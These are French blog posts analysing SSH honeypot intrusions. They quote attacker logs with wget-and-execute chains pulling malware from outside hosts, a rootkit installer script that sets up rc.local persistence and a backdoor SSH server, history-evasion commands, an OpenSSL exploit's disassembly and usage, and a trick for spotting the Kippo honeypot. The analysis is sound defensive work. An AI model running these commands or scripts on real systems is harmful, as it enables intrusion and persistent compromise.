photo of devloop

devloop :: blog

sécurité informatique, programmation, Linux et plus encore

Subscribe to RSS feed

Posts tagged with "ssh"

Making fun of script kiddies

, , , ...

Introduction

Analyser les logs de mon honeypot SSH est semble t-il devenu ma nouvelle occupation du dimanche bigsmile

Je m'amuse souvent à observer les erreurs et l'incompétence de ces visiteurs qui donnent souvent l'impression de taper des commandes sans savoir réellement ce qu'elles font.

Déjà rien qu'au nouveau des mots de passe utilisés pour les attaques brute-force des comptes SSH ça vaut le coup d'œil !
Là où une personne normalement constituée utiliserait les mots de passe les plus fréquents pour gagner du temps et augmenter ses chances de réussite, certains des intrus se bornent à utiliser une liste de mots de passe "from outter space" dont on peut être sur que le nombre d'utilisateurs de ces mots de passe se comptent sur les doigts d'une main à travers la planète !
Résultats : ils passent 2 heures à tenter de casser un compte sans y parvenir alors que le mot de passe du honeypot est 123456, soit le mot de passe connu pour être le plus utilisé dans le monde entier...

Dans cette faune très particulière on trouve aussi ceux qui sentent le besoin de "taguer" leurs visites en ajoutant dans la liste de leurs mots de passe un message avec leur pseudo ou le nom de leur team de script-kiddies...
Le pire c'est de se dire qu'ils ont conscience qu'ils peuvent être surveillés mais semble pourtant tout ignorer de l'existence des honeypots.

Enfin, autre perle rencontrée une fois : l'attaquant a certes une liste de mots de passe valides mais manque de bol (pour être gentil), le fichier n'est pas formaté comme il faut pour le logiciel de brute-force.
Le soft en question est bien-sûr compilé pour Linux mais la pass-list est formatée avec retour charriot à la mode windows, le pseudo hacker ne l'ayant pas converti avec unix2dos... Résultat au lieu d'envoyer le mot de passe 123456 il envoit 123456^V et ainsi de suite pour toute sa liste bigsmile

Mais passons l'introduction et entrons dans le vif du sujet avec mes dernières visites smile

Attaque 1

De toute évidence des hackers roumains. Les attaques brute-force SSH sont très en vogue chez eux.
Cassage du mot de passe réussie avec l'adresse IP 202.131.124.10. S'ensuit une connexion directe par l'IP 94.144.63.2.
Le visiteur rappatrie l'archive http://gr4n34.110mb.com/zyz.tgz.
On y trouve un log-cleaner très peu discret, codé par un débutant. L'outil se nomme "LOG/Rest Cleaner by zYztem @ v1".
Espérons qu'il aura appris la programmation avant de sortir la version 2 p

Il télécharge ensuite l'archive http://gr4n34.110mb.com/fake.tgz contenant un script qui ajouter un user "ftpd". Il récupère aussi un fichier sudoers depuis l'adresse 82.77.140.6/live/sudoers (qui ne répond pas).
L'opération est très peu discrète et peut être catastrophique car il supprime le précédent fichier sudoers pour mettre le sien à la place... Pas mieux pour se faire remarquer.
Après une rapide recherche sur google je détermine que l'IP qui ne fonctionne plus correspond au site underworld.homeunix.org.
Un peu de google dorking de plus et on parvient à obtenir la liste des supers tools (mouarf) présentes sur le site... du code archi-connu détecté par tous les AVs dans le style bot irc tsunami/kaiten, script de flood udp.pl, mirc, psybnc, energymech & co.
Circulez, il n'y a rien à voir !

Attaque 2

Brute force provenant de 115.110.25.58 et suivi dans la foulée d'une cnx directe par 216.166.47.148.
Téléchargement de l'archive http://irc1.at.ua/bot.tgz qui contient un energymech et ses fichiers de conf, l'éditeur de texte pico que les script-kiddies semblent ettement apprécier et un programme mystérieux dénommé "stealth".
Quand on lance un strings sur le binaire on trouve notamment la chaine "This tool is extremely dangerous. Use at your own risk!".
Une recherche sur Google révèle que le programme a déjà été retrouvé sur des serveurs et que niveau discrétion on trouve mieux puisque une fois lancé il arrive rapidement à utilisation de 100% du CPU !
Mais alors que fait ce programme extrêmement dangereux ?
C'est là que ça devient drôle : une fois désassemblé on se rend compte que le proggie se connecte à un serveur et un port pris en argument et envoie en boucle la chaine "0123456789ABCDE" bigsmile
J'en ai encore mal aux abdos rien que d'y penser p

Attaque 3

L'intrus récupère un logcleaner du même acabit que le précédent. On trouve dedans les chaines Dark LogRemover Version 1.0, Coded by Darker et Macedonian Dark Security.
Sans intérêts...

Attaque 4

Connexion directe (le mdp a été cassé précédemment) provenant de l'IP 79.115.143.213 puis récupération de l'archive http://ripkid.altervista.org/smtp.tgz.
On y retrouve le classique syn-scanner détecté par AVG comme Linux/Shark.A, compilé statiquement avec la librairie pcap et strippé.
Ce qui est intéressant ce sont deux scripts perl présents : le fichier start récupère les résultats de scans effectues sur le port 25 et lance en parallèle (jusqu'à 200 processus) un script perl 'process' qui brute force des comptes pop3 (basé sur l'utilisation d'un fichier users.txt contenant des credentials).
Ça nous change un peu du tout SSH et d'après les logs c'est relativement fructueux. Certaines personnes sont peu regardantes sur la sécurité de leurs comptes mails (surtout si le compte est utilisé pour des pubs etc)
Du coup j'ai posté les deux scripts sur paste 2 :
http://paste2.org/p/1886657
http://paste2.org/p/1886658

Attaque 5

Le petit curieux récupère l'archive http://www.grigoreworld.com/marius/bnc.jpg destinée à être extraite dans /dev/shm.
Elle contient un psybnc (binaire nommé -bash) + un fichier crontab pour le lancer régulièrement.
Il contient un script perl nommé "target" qui est un bot IRC (en plus du psybnc) capable de lancer
des attaques DoS très très (mais alors vraiment très) basiques et faire des recherches spécifiques sur google du type
"inurl:modules.php?name=SQuery site:.com" (avec le tld changeant selon une liste prédéfinie).
Il s'agit d'un google dork pour une faille datant... de juillet 2006. M'est avis que sur les sites faillibles il n'y a que le train qui n'est pas passé.
Le script perl est détecté comme PERL/ShellBot par AVG et ClamAV.

Attaque 6

Rien d'intéressant. Téléchargement d'un fichier fox.tgz qui créé un dossier "/usr/share/locale/jp/. /" où se place un energymech que AVG détecte comme Linux/Mech.A + un script pour l'ajouter à la crontab. Bref que du déjà vu.

Attaque 7

Ni plus ni moins que l'attaque 5...
L'archive bo.tgz contient le shellbot.pl qui exploite la faille SQuery avec une url du type /SQuery/lib/gore.php?libpath=
J'ai mis le script sur paste2 pour les curieux.

Attaque 8

On a ici affaire à du top niveau bigsmile (oui je suis taquin)
Le pirate que j'ai baptisé "jess" a l'adresse IP 46.166.157.164.
A peu près tout son matus est détecté par les antivirus :
Linux/Shark.A : le classique synscanner
Linux/Sshscan.A : l'outil de brute force ssh
sans compter le scanner tcp pscan2 infecté par Trojan.Linux.RST.b (incroyable qu'on trouve encore des binaires infectés par RST après autant d'années).

Le script bash baptisé "scam" est une horreur de programmation. Notons juste qu'il envoi des données vers l'adresse mail mafia89tm@yahoo.com.

Un essaye de récupérer un fichier tgz... seulement l'url n'est pas bonne ou le site fermé ou une autre raison... peu importe.
Ce qui est drôle c'est qu'il ne s'étonne pas de voir wget lui indiquer que le fichier fait 3Ko et est de type text/html... forcément quand il tente d'extraite l'archive avec tar ça ne pas fonctionner...
Il va pourtant taper 4 fois la même commande pour essayer de faire une opération impossible.

C'est tellement bon que j'en ai fait une capture postée sur Vimeo.

Mais Jess n'est pas du genre à abandonner... Il revient donc à la charge... Et il a... UNE AUTRE URL !
Mais manque de bol (décidément) ça ne fonctionne pas plus... Qui plus est il déclenche un petit message que j'ai rajouté à Kippo à l'attention de certains de mes visiteurs.
Du coup, pris de panique il se déconnecte. C'est en vidéo ici bigsmile

Là on se dit qu'il a compris qu'il est sur un honeypot. Il faudrait vraiment être c** pour ne pas s'en rendre compte.
Pourtant, 4 jours plus tard, sans doute le temps de travailler ses skills en wget, il revient avec l'IP 93.104.129.190 et récupère l'archive csservers.ro/redirecte_linux_v2.0.tar.gz et ça marche \o/
L'archive contient des binaires visiblement codés en C++ qui contiennent les strings suivantes :
wget --quiet -O - http://www.csservers.ro/mod.php?qwerty=%s/%s/%d
wget --quiet -O - http://www.csservers.ro/harta.php?asdfg=%s/%d
wget --quiet -O - http://www.csservers.ro/valoare_update.php
Le site http://www.csservers.ro/ semble destiné au jeu Counter Strike. J'analyserais plus en détail les binaires quand j'aurais le temps ;-)

Intrusion du 19 juillet 2011 : Analyse du rootkit SHV5

, , , ...

Je continue dans mes analyses de logs de honeypot.
Le dernier intrus à voulu installer un rootkit.

L'article étant un peu long, je l'ai mis en ligne sur mon site sourceforge :

Intrusion du 19 juillet 2011 : Analyse du rootkit SHV5

Bonne lecture.

Kippo : Visite de fin juin 2011

, ,

Après des attaques brute force réussies sur le honeypot SSH le 26 et 27 juin, un visiteur établie une connexion directe le 27 en début d'après midi avec l'IP 172.190.13.22.

Les commandes qu'il tape sont les suivantes :
w
last
screen -r
ls
ls -a
mkdir .vn
cd .vn
wget http://www.fincasanfranciscomarbella.com/goshNEW.tgz
cat /proc/cpuinfo
tar zxvf goshNEW.tgz
ifconfig
rm -rf goshNEW.tgz
cd goshNEW
ls
./go.shA 109

Dans l'archive on trouve entre autres 10 fichiers texte contenant des couples logins / mdps. Je ne m'attarderais donc pas sur le sujet.

Le script go.shA appelé par notre visiteur contient le texte suivant :
./ss 22 -a $1 -i eth0 -s 10
cat bios.txt |sort | uniq > mfu.txt
./ssh-scan 300
rm -f bios.txt

L'exécutable ss qui est lancé par le script s'avère être un scanneur de ports TCP furtif : TCP Syn Scanner.
On notera que dans le binaire compilé statiquement on ne trouve pas de référence à son auteur comme c'est le cas dans la source. Soit ils l'ont compilé eux même soit ils ont utilisé le binaire fournit par l'original (pour les lamers pour le citer).

Je passe rapidement sur ce scanneur : l'idée est bonne même si ce n'est pas le premier syn-scanneur. L'auteur aurait aussi pu inclure getopt pour les arguments et des appels à la libpcap devrait se trouver dans un des blocks conditionnel après le fork() plutôt qu'en dehors... mais je chipote.

Les options passées indique de scanner une plage d'adresse de classe A (d'où le nom du script go.shA) sur le port 22 avec le nombre maximum de processus simultanés (10).
Il en résulte un fichier bios.txt (le nom du fichier n'a pas été changé depuis la source donc on pourrait confirmer qu'ils n'ont pas compilé le code eux même) qui contient les adresses IPs de machine avec le port 22 accessible.
Ce fichier est trié, on en retire les doublons et il devient mfu.txt.

Ce nouveau fichier est chargé par le binaire suivant au nom explicite (ssh-scan). Après analyse rapide des chaines de caractères dans l'exécutable on voit qu'il est compilé statiquement avec libssh et pthreads.
Il pourrait très bien s'agir de ce programme sur packetstorm sauf que bien sûr les références aux auteurs originaux ont changé (le plagiat est plus que fréquent dans ce domaine).
Les mots présents dans le binaire laisse deviner que les intrus sont roumains. Une recherche sur Google nous révèle que le binaire doit tourner depuis un moment sur le réseau. On trouve même des commandes iptables ou des règles Snort pour le bloquer.

Il y a d'autres scripts bash dans l'archive mais la décence envers ceux qui aime la programmation m'empêche de divulguer leur contenu (ignorance des boucles for et des variables de shell spéciales).
On trouve aussi le scanneur pscan2 qui est un grand classique que j'ai déjà évoqué une autre fois.

Le rapport AVG des fichiers est le suivant :
./ss Virus identified Linux/Shark.A
./ssh-scan Virus identified Linux/Sshscan.A
Pour ClamAV, pscan2 est infecté par RST.b.

Conclusion : les intrus ne font pas grand chose pour se renouveler. Leurs binaires sont connus pour être des malware et sont filtrés par des IDS comme Snort. Comme souvent dans ce type d'attaque ils exploitent uniquement le laxisme ou les méconnaissances et terme de sécurité des administrateurs des machines.

Kippo : Visites de juin 2011

, ,

Ca fait un moment que j'ai abandonné Kojoney au profit d'un autre honeypot SSH codé lui aussi en Python nommé Kippo.

J'ai eu le temps de récupérer quelques logs de visiteurs et je vais en poster quelques uns sur ce blog.

Au mois de juin j'ai eu deux visites.
La première le 9 juin. L'intrus s'est présenté avec l'adresse IP 85.186.204.142.
La première commande qu'il a lancé, à l'instar de nombreux visiteurs du honeypot est la commande "w" pour savoir si d'autres personnes sont connectées au système.
Il a ensuite modifié le mot de passe du faux compte root avec la commande passwd.

Les commandes qui ont suivi sont les suivantes :
cd /var/tmp/
wget http://linuxtrade.webs.com/psybnc-linux.tgz
tar zxvf psybnc-linux.tgz
cd psybnc-linux
cd psybnc
mv psybnc bash
chmod +x *
sh
PATH=:$PATH

Ici il récupère et décompresse une archive contenant psybnc. C'est en quelque sorte un bot IRC. Ça permet par exemple de garder un chan IRC ouvert et de le modérer et de lancer des commandes au bot via IRC.
On remarque qu'il lance un autre shell (sh) sans raison valable...
Il a ensuite voulu éditer le fichier psybnc.conf avec l'éditeur de texte nano qui n'est pas standard (contrairement à vim ou emacs) mais nombreux sont les pseudo-hackers qui ne savent se servir que de nano et pico...

Il tente ensuite de lancer son exécutable (renommé bash). Comme il ne doit pas avoir le résultat habituel il fait un "ls -a", relance le psybnc à nouveau puis se déconnecte...
Fin de l'histoire.

Le 16 juin, un autre visiteur se présente avec l'IP 81.81.89.36.
Il fait un très rapide tour d'observation avec w, uname -a, cat /proc/cpuinfo, ls -a.
Ensuite il copie colle (on le remarque car Kippo génère des logs que l'on peut "jouer" comme avec ttyrec) la commande suivante pour ne pas logger sa session bash :
set +o history history -n unset HISTFILE HISTSAVE HISTLOG HISTORY

Il doit y avoir un problème dans cette commande. Pour moi il doit manquer deux points virgules. D'ailleurs si on lance cette commande et qu'on tape ensuite "echo $HISTFILE" on voit bien que ça n'a pas fonctionné... Premier FAIL.

Il change ensuite le password root puis copie / colle une autre suite de commandes :

cd /lib ; wget pico-channel.110mb.com/dbus-v2.2.tar ; chmod +x dbus-v2.2.tar; tar xvzf dbus-v2.2.tar ; rm -rf dbus-v2.2.tar ; cd dbus-v2.2 ; chmod +x * ; rm -rf X11unix.log ; touch X11unix.log ; ./inst

L'output obtenu ne doit pas lui plaire car il va répéter le chmod et le lancement du script "inst" juste après.

Que peut-on dire de l'archive récupérée ?

Le fichier inst qui est un script bash contient les lignes suivantes :
#!/bin/bash
echo "[/*] [Rk] Install Starting ... [*\] "
echo "[/*] [Rk] Adding Iptables Rules ... [*\] "
/sbin/iptables -I INPUT -p tcp --dport 5553 -j ACCEPT
/sbin/iptables -I OUTPUT -p tcp --dport 5553 -j ACCEPT
echo "[/*] [Rk] Rules Added to Iptables ... [*\] "
echo "[/*] [Rk] Adding autostart to rc.local ... [*\] "
echo "/lib/dbus-v2.2/cat &" >> /etc/rc.local
echo "[/*] [Rk] Starting rootKit, Sniffer and Securing directories ... [*\] "
cd /lib/dbus-v2.2/;./on;cd ..;chattr +suai dbus-v2.2/*;cd
echo "[/*] Rk Installed With Success on PORT (5553) [*\] "

La première moitié permet de laisser passer les connexions sur le port TCP 5553 de la machine piratée. Notre visiteur n'a visiblement pas la présence d'esprit que la machine piratée n'est pas forcément celle sur laquelle se trouve le firewall du réseau... Second FAIL.

Le script "cat" qui est ajouté à rc.local pour être lancé au démarrage ne fait que lancer un autre script baptisé "on". Bref on a ici un script qui ne sert à rien puisque "on" aurait pu être appelé directement dans rc.local. Troisième FAIL.

Le script on en question contient les lignes suivantes :
#!/bin/bash
export PATH="."
klogd -f "   "
l4

Un simple strings nous apprendra que le binaire klogd est un serveur SSH (compilé dynamiquement, non strippé).
Le fichier avec le nom composé de 3 caractères espace est un fichier de configuration pour SSH dont on retiendra 3 lignes :
Port 5553
ListenAddress 0.0.0.0
HostKey /lib/dbus-v2.2/k
RandomSeed /lib/dbus-v2.2/s


On retrouve le numéro de port vu précédemment ainsi qu'une clé privée qui permettra au pirate de se connecter à son SSH non-officiel sans mot de passe.

Enfin l'exécutable l4 appelé à la dernière ligne de on s'avère après analyse (là encore l'exécutable n'est pas strippé), une variante du célèbre linsniff. On reconnait l'utilisation de SOCK_PACKET.
Tout comme cette version mise à jour, le programme utilisé par l'intrus réécrit la chaine argv pour passer inaperçu auprès de ps mais c'est la seule modification constatée : le reste est une copie conforme du linsniff original, si ce n'est qu'ils ont retiré le nom de l'auteur pour y placer "RASC Sniffer v1.0" et fait en sorte que le fichier de log soit X11unix.log.

L'archive contient d'ailleurs un fichier de ce nom dans lequel on trouve des logins POP3 vers mail.dltc.co.kr et des communications FTP interne.

Avant de se déconnecter, il a téléchargé dans /root le SP3 pour Windows 2000 depuis le site de Microsoft et l'a effacé juste après... Sans doute pour avoir une idée de la vitesse du réseau. Ce n'est pas la première fois que je vois ça.

Conclusion : Le script d'installation nous promettais un rootkit et tout ce qu'on a c'est un sniffer de l'avant-guerre, un serveur SSH et un pirate qui connait trop peu Linux pour s'apercevoir qu'il a été dupé.

Détecter le honeypot Kippo

, ,

Pour un attaquant ayant des connaissances suffisantes en systèmes Unix, détecter qu'il se trouve sur un honeypot de faible (Kojoney) ou moyenne interaction (Kippo) ne sera pas compliqué.

Mais cette détection sera encore plus aisée si une sorte de easter-egg est présente dans le honeypot.
J'étais en train de modifier la source de Kippo sur mon système pour personnaliser le uname quand j'ai remarqué les lignes suivantes dans le fichier commands/base.py :

# for testing purposes
class command_exxxit(HoneyPotCommand):
    def call(self):
        self.honeypot.terminal.loseConnection()
commands['exxxit'] = command_exxxit


Bref il suffit pour l'attaquant de taper le commande 'exxxit'. S'il est déconnecté c'est qu'il est sur Kippo, sinon ce n'est probablement pas le cas.
Il suffirait aux auteurs des bots SSH existants de rajouter cette commande au début de la liste des commandes envoyées sur le serveur pour éviter de se faire espionner...

Comme il est possible qu'il s'agisse d'un oubli de la part de l'auteur, je l'ai signalé pour correction.
En attendant chacun peut éditer le code source pour retirer ces quelques lignes.

Ma$$ Apache pwnage fr0m R0m4n!4

, , , ...

Ca fait un bon moment que je n'avais pas donné de nouvelles de mon honeypot SSH.
Il faut dire que les visites sont assez rares et généralement peu intéressantes, se terminant par rapatriement d'un EnergyMech, d'un PsyBNC voire du scanner UnixCod qui continue à faire parler de lui.

Aujourd'hui j'ai l'occasion de vous parler de quelque chose de plus croustillant, qui tournera principalement sur l'analyse d'un binaire Linux.

L'intrusion
L'attaque a eu lieu le 25 octobre. Une attaque bruteforce est lançé sur le faux serveur SSH à 14:11 et qui se terminera à 14h36. Il n'aura fallu q'une minute pour trouver les différents comptes avec mots de passes faibles.
Le scan est en provenance de l'ip 121.2.28.199 qui fait partie du réseau du FAI So-net, un fournisseur d'accès japonais et filiale de Sony.
Différents services tournent sur cette machine comme smtp, ftp (Microsoft FTP) et ssh (OpenSSH). Je n'ai pas cherché à en savoir plus mais il est fort possible que cette machine ait été infiltrée pour servir de relais aux pirates.

A 14:25, un premier visiteur "humain" se connecte au serveur en se loggant directement avec le compte "test". L'IP (86.154.169.82) est britanique et correspond au FAI BT. Le seul port TCP ouvert semble être le 5060 (SIP) et doit correspondre à une config par défaut des box fournies par le FAI.

L'historique des commandes est le suivant :
14:25 w
14:26 passwd
14:26 passwd
14:28 cd
14:28 ls
14:29 get help-bnc.6te.net/psybnc-linux.tgz
14:29 wget help-bnc.6te.net/psybnc-linux.tgz
14:30 cdrl -O
14:31 curl -O 77.194.232.72help-bnc.6te.net/psybnc-linux.tgz
14:31 FTP
14:31 ftp

Rien de bien intéressant. L'intrus a voulu changer le mot de passe du compte "test" pour fermer l'accès derrière lui et, voyant que l'accès était refusé, a fait une nouvelle tentative. Il a ensuite essayé de télécharger un PsyBNC avant de laisser tomber.

Le relais est pris par l'IP 82.77.174.40 à 14:35. Ce visiteur de Romanie (le FAI RCS&RDS gère à peu près tout ce qui touche aux communications) se connecte là encore directement avec le login "test". Il pourrait s'agir du collègue du premier ou encore du même visiteur qui a décidé de passer par un relais. Un petit coup de myIPneighbors nous apprend que différents sites Internet sont accessibles à cette adresse.
Les commandes lancées sont les suivantes :
14:35 cd ..
14:35 cd ..
14:35 ls
14:35 wget
14:35 wget www.[retiré].us/p/scan/scan.tar
14:36 ftp -cv wave.prohosting.com
14:37 ls
14:37 csd ..
14:37 cd ..
14:38 chmod +x *

Là encore, le visiteur ne fera pas de vieux os. Il a toutefois tenté de rappatrier un outil de scan intéressant smile

scan.tar.gz

Contrairement à ce que l'extension du fichier laissait supposer, le fichier est bien compressé à l'aide de gzip. Une fois décompressé, l'analyse de l'archive scan.tar ne nous apprend rien de particulier (voir mon article sur l'analyse de fichiers tar). L'archive est au format ustar mais les noms d'user/group sont vides. Ce qui ne nous aurait pas appris grand chose de toute façon car l'archive semble avoir été créée en tant que root. Par contre on connait les dates de dernière modification des fichiers contenues dans l'archive sur le système du pirate.

Les fichiers présents dans l'archive sont les suivants :
  • e : un exécutable 32 bits, lié dynamiquement, strippé, datant du 4 juillet 2006.
  • ee : un fichier texte, plus précisemment une suite de ligne de commandes (mais sans entête de script bash). Le fichier est daté au 4 décembre 2006
  • SCANNER : un exécutable 32 bits, lié dynamiquement, strippé et modifié pour la dernière fois le 26 septembre 2006.
  • vuln.txt : un fichier texte avec des CRLF en caractères de terminaison. Daté du 16 juin 2007, il contient des adresses ips avec à chaque fois un entête de réponse HTTP associé.

Pour plus de détails, les commandes dans le fichier ee ressemblent à ceci :
echo -e '\033[36m Exploiting \033[34m '$1'  \033[36m using apache 2.0.40 target 10 [Make by Evolver & Snake] \033[m'
./e -t 10 -r $1
./e -t 10 -r $1
...

Le script utilise le caractère d'échappement pour afficher des couleurs sur le terminal et exécute le binaire e avec le paramêtre "t" qui varie (bien qu'à chaque fois utilisé environ 10 fois) pour différentes versions d'Apache.
Le paramêtre qui doit être passé eu script ($1) est une adresse IP comme nous le verrons un peu plus bas wink

Le fichier vuln.txt ressemble à ceci :
200.241.116.58
HTTP/1.1 200 OK
Date: Thu, 14 Jun 2007 14:42:51 GMT
Server: Apache/1.3.27 (Unix) PHP/4.3.1 mod_ssl/2.8.12 OpenSSL/0.9.7a
Last-Modified: Sun, 15 Jun 2003 10:21:02 GMT
ETag: quot;20ab4-1-3eec488equot;
Accept-Ranges: bytes
Content-Length: 1
Connection: close
Content-Type: text/html


-------------------------------------------------------------------
200.241.204.37
HTTP/1.1 200 OK
Date: Thu, 14 Jun 2007 15:12:02 GMT
Server: Apache/2.0.44 (Unix) mod_ssl/2.0.44 OpenSSL/0.9.7a PHP/4.3.1 mod_jk/1.2.6
Connection: close
Content-Type: text/html; charset=ISO-8859-1


-------------------------------------------------------------------

Seul le format (une adresse IP, un header HTTP, un ligne de tirets) est à prendre en considération. on trouve aussi bien des entête Apache que IIS avec des configurations variables.

Analyse du binaire e

Bien que j'ai analysé les deux binaires, je me tiendrais ici à l'analyse de l'exécutable "e", les deux binaires ayant des fonctions très proches. Le binaire fait 75.4 Ko soit 4ko de plus que celui nommé SCANNER.

L'analyse a été faite seulement par désassemblage à l'aide de la dernière version de HT Editor (2.0.10) en suivant une méthodologie décrite ici.
Bien que le binaire ne semble pas contenir de backdoor, j'ai préféré ne pas exécuter le programme.

Une fois à l'intérieur du main, la première chose que fais le programme est d'analyser les paramêtres passés en argument. Pour cela il fait appel à la fonction getopt_long(). La chaine pour les arguments aux format court est "hr:p:v:x:cz:s:e:t:".
On en apprend plus sur les paramêtres par le biais des chaines de caractères utilisées dans un boût de code que j'ai baptisé "usage" et qui puts() les chaines suivantes :
  -h, --help          - prints this help
  -r, --hostname      - which box you want hacked ?
                        (default: name returned by hostname function)
  -p, --port          - service port num - users connect
                        to it (https: 443, smtp: 25)
  -c, --check         - check only remote if it's exploitable, not exploit
  -x, --retaddr       - jmp *ecx / call *ecx instruction, (ff e1)
                        request use writeable address (default: 0xbfffe1ff)
                        frist unlink we will write it to some writeable address
  -z, --retloc        - free ()'s got address, some address we should rewrite it
                        (eg: objdump -R /path/httpd | grep free)
  -v, --verbose       - to be verbose
  -s, --gotaddr       - brute attack, guess the free's got address
                        (eg: 0x080xxxxx)
  -e, --stack_addr    - brute stack return address (default: 0xbffffefc)
  -t, --type          - try the knowns targets. (0 to list)

Cette aide est affichée dans plusieurs cas. Le premier si le nombre d'aguments (argc) n'est pas assez grand comme le montre ce code au début du main :
mov ebx, [ebp+8]
cmp ebx, 1
jng 0x0804b77b

Dans ce cas, le programme affiche d'abord la "banière" suivante : "OpenSSL ASN1 deallocation exploit for linux/x86\n this copy for \e[32mrouter\e[0m\0"

Les deux autres cas d'affichage des options sont l'utilisation explicite de l'option -h et l'utilisation d'une option non existante.

L'utilisation de getopt_long() ne facilite pas l'analyse du binaire, heureusement la page de manuelle nous apprend qu'une fois arrivée à la fin des options, la valeur -1 est retournée. On peut alors retrouver la suite de notre main :

Le programme va afficher une bannière avant de faire un signal(SIGPIPE,SIG_IGN) pour empècher que le programme quitte en cas d'erreur lors de la lecture sur un pipe.
On a ensuite un test qui est effectué sur une variable que j'ai baptisé port_443 (car initialisée à 0x1bb = 443, le port pour le HTTPS). Le programme compare simplement cette variable avec la valeur 25 (port SMTP), si la variable vaut effectivement 25, un booléen (baptisé test_443_25 pour l'occasion) est mis à true puis on retourne à l'exécution logique du programme.

L'exécution du programme va alors se séparer en différentes parties en fonction des options qui ont été passées au programme.
Par exemple on peut se retrouver sur une parcelle de code qui commence par l'affichage de la chaine "## this mode only check remote exploitable, not exploit" qui correspond de toute évidence à l'utilisation de l'option -c.
Les autres cheminements possibles sont le mode force brute (-e) et le mode "target" (-t).
Ces différents modes font que l'on peut retrouver à différents endroits les même opérations, l'auteur du programme ayant du faire plusieurs copier/coller.

Par le suite, le cheminement pris pour l'analyse du programme sera celui du mode brute force qui nous accueille avec l'avertissement suivant :

you've enter try to brute-force attack mode, it's will take a very long time, but will stop as soon as it considers that the correct got address could not be found, you are crazy, man :PP


Deux variables sont ensuite initialisés. La première baptisée "leet" est initialisée à 0x7a69 (soit 31337). Le programme fait différentes comparaisons tout au long de son exécution avec cette valeur, et s'en sert notamment pour savoir s'il est en mode verbose.
Quand à la seconde variable, je l'ai baptisée "stack_address" p
Beaucoup de variables restent pour moi un mystère et il faudrait tracer l'exécution du programme pour déterminer leur rôle.

Le programme appelle ensuite une fonction que j'ai baptisé "tcpConnect".

tcpConnect

tcpConnect est sans doute le nom original qui a été donné à cette fonction. En effet toute erreur détectée à l'intérieur de cette fonction est remontée à l'aide de perror() et d'un message de la forme tcpConnect:nom_de_la_fonction_qui_a_échoué, par exemple "tcpConnect:gethostbyname".
Cette fonction a vraisemblablement été pompée sur un ou deux exploits existants.

Cette fonction prend trois paramêtres : le nom de la machine à attaquer, le port à utiliser ainsi qu'un timeout pour la connexion spécifié en millisecondes (4000 pour la première connexion établie en mode brute force).
En comparant le binaire et les codes sources disponibles pour la fonction tcpConnect, on retrouve bien certains passages comme le remplissage des structures hostent et timeval smile
La fonction retourne le socket créé si la connexion a réussi ou la valeur -1 dans le cas contraire.

Au retour du main, le résultat de tcpConnect est vérifié. Si la connexion n'a pas pû être établie, on est redirigé vers une fonction que j'ai baptisée "print_error_and_exit" (je crois que c'est assez parlant) smile

HTTPS ou SMTP ?

Si la connexion a réussie, le programme continue son exécution en testant notre variable test_443_25.
Dans le cas d'un port SMTP (valeur = 1), des instructions supplémentaires sont effectuées : la fonction readData est appelée pour lire les données envoyées par le serveur SMTP et le code d'erreur récupéré à l'aide de strtol(). Si le code est 220, le programme ne quitte pas.

readData et writeData

Le nom de la fonction est là encore assez explicite car utilisé dans les messages d'appels à strerror.
Pour résumer, cette fonction est une interface verbeuse de recv() et prends les même arguments : socket, buffer et taille du buffer.
Le nombre d'octets lus est retourné ou -1 en cas d'erreur.

De la même façon, writeData est une interface pour la fonction write() et prend pour arguments le socket, le buffer et sa taille.

SMTP

Toujours dans la partie spécifique au protocole SMTP, le programme va se mettre à communiquer avec le serveur en envoyant la commande "STARTTLS" à l'aide de writeData.
L'utilisation de cette commande est expliquée dans le document SMTP Service Extension for Secure SMTP over TLS :

5. The STARTTLS Command The format for the STARTTLS command is: STARTTLS token where the token parameter is one of the tokens described in Section 4. After the client gives the STARTTLS command, the server responds with one of the following reply codes:

  • 220 - Ready to start TLS
  • 501 - Syntax error (more than one parameter)
  • 504 - TLS not available due to the server not being able to use the specified protocol
  • 554 - TLS not available due to some other, temporary reason
A publicly-referenced server SHOULD be able to accept other SMTP commands before receiving a STARTTLS command. After receiving a 220 response to a STARTTLS command, the client MUST start the TLS procedure immediately.


Comme on si attend, le programme vérifie à nouveau la réponse. Si on a un code 220 alors tout est ok smile

La partie spécifique au SMTP se termine et passe à des routines spécifiques au SSL/TLS.
Les noms que j'ai pu donner à ces routines ne correspondent pas forcément bien à leur rôle, les opérations étant difficiles à comprendre sans connaître en détail le protocole SSL.

SSL et TLS

La première fonction appelée est send_client_hello. Une fonction très courte qui prend comme argument le socket et notre variable leet qui est ici utilisée pour activer ou non le mode verbeux (si égal à 31337).
La première vérification effectuée est de savoir si le protocole utilisé est le SSL3 ou le TLS1. Pour cela la variable is_ssl3_or_tls1 est lue et son contenu (un octet) vient remplacer certains caractères (3ième et 11ème) d'un buffer envoyé ensuite par writeData.
Le buffer en question est préinitialisé à "\0x16\x03\xcc\x00\x61\x01\x00\x00\x5d\x03?AAAAAAAA..."

La réponse du serveur est obtenue par check_handshake. La encore une fonction assez courte mais qui fait appelle à une fonction plus importante nommée read_handshake.
Cette dernière alloue de la place pour de grosses zones mémoires qui sont mises à zéro par memset() avant d'être remplies par la réponse du serveur. Un nombre important de vérification sont alors faites pour s'assurer que le handshake a réussi sans quoi on passe par une fonction handshake_error qui affiche une erreur puis "switch" le SSL3 pour une utilisation du TLS1 (le message d'erreur est explicite).

Vulnérabilité OpenSSL

D'après l'output du programme, la faille exploité est "OpenSSL ASN1 deallocation" qui semble être plus connue sous le nom OpenSSL ASN.1 Parsing Vulnerabilities.
La description CVE de cette vulnérabilité est la suivante :

Double-free vulnerability in OpenSSL 0.9.7 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an SSL client certificate with a certain invalid ASN.1 encoding.


Cette description s'accorde bien avec l'option -z du programme smile
Certains exploits existent déjà pour cette vulnérabilité comme un brute forcer ou le openssl-too-open de Solar Eclipse dont certaines parties de code ont (à mon avis) été reprises pour ce binaire.
Core Impact a à priori aussi un exploit pour cette vulnérabilité, je ne serais pas surpris qu'il y ait aussi des similitudes avec celui-ci.

Pwnage

Maintenant que la connexion sécurisée a été établie, la phase d'exploitation commence vraiment.
La fonction exploit fait une bonne taille. Elle prend 4 arguments, le premier étant le socket, le second un offset (adresse de retour) et le quatrième est notre variable leet qui permet d'activer le mode verbeux. A l'heure actuelle le rôle du troisième argument m'échappe toujours confused
